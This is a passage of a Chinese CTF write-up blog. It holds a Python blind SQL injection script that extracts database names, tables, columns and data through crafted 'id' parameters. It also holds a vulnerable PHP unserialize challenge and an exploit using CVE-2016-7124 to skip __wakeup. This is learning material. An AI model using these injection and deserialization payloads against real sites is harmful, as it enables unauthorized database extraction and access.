</span></span><span class="line"><span class="ln">111</span><span class="cl">                    <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">                        <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">            <span class="n">names</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">
</span></span><span class="line"><span class="ln">116</span><span class="cl">
</span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,</span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1 --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">
</span></span><span class="line"><span class="ln">127</span><span class="cl">
</span></span><span class="line"><span class="ln">128</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">
</span></span><span class="line"><span class="ln">136</span><span class="cl">
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="k">def</span> <span class="nf">get_data</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="n">da</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">    <span class="n">data_num</span> <span class="o">=</span> <span class="n">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">data_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">        <span class="n">d</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">        <span class="n">data_len</span> <span class="o">=</span> <span class="n">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">data_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-</span><span class="si">{}</span><span class="s2">&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">                    <span class="n">d</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">        <span class="n">da</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">da</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">
</span></span><span class="line"><span class="ln">153</span><span class="cl">
</span></span><span class="line"><span class="ln">154</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="n">db_len</span> <span class="o">=</span> <span class="n">get_database_length</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="n">db_name</span> <span class="o">=</span> <span class="n">get_database_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">    <span class="n">tb_num</span> <span class="o">=</span> <span class="n">get_table_number</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">    <span class="n">tb_names</span> <span class="o">=</span> <span class="n">get_table_names</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">    <span class="n">get_column_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入表名列名查询数据，以空格间隔：&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">        <span class="n">get_data</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/077813/swpu_error_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1150" height="316"
/>
</p>
<p>因为单线程所以有点慢，写脚本是为了练</p>
<p>sqlmap神器</p>
<p><img
  src="/077813/swpu_error_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1314" height="625"
/>
</p>
<h3 id="no_wakeup">no_wakeup<a class="anchor" href="#no_wakeup">#</a></h3>
<p><img
  src="/077813/swpu_no_wakeup.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="490" height="364"
/>
</p>
<p>可爱</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Content-type:text/html;charset=utf-8&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;class.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;wllm&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="k">echo</span> <span class="s2">&#34;No wake up&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="nv">$Letmeseesee</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$Letmeseesee</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>与上一题反序列化的区别就是，反序列化时会自动调用<code>__wakeup()</code>，这道题当时想了很久，因为原本我的思路是wakeup调用之后再覆盖属性值，但是这个wakeup好像一直执行的样子，覆盖还是过不了，所以另一种思路，跳过<code>__wakeup()</code>,这是漏洞<code>CVE-2016-7124</code></p>
<blockquote>
<p><strong>当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行</strong></p>
</blockquote>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;wllm&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">HaHaHa</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>把生成的字符串属性改改</p>
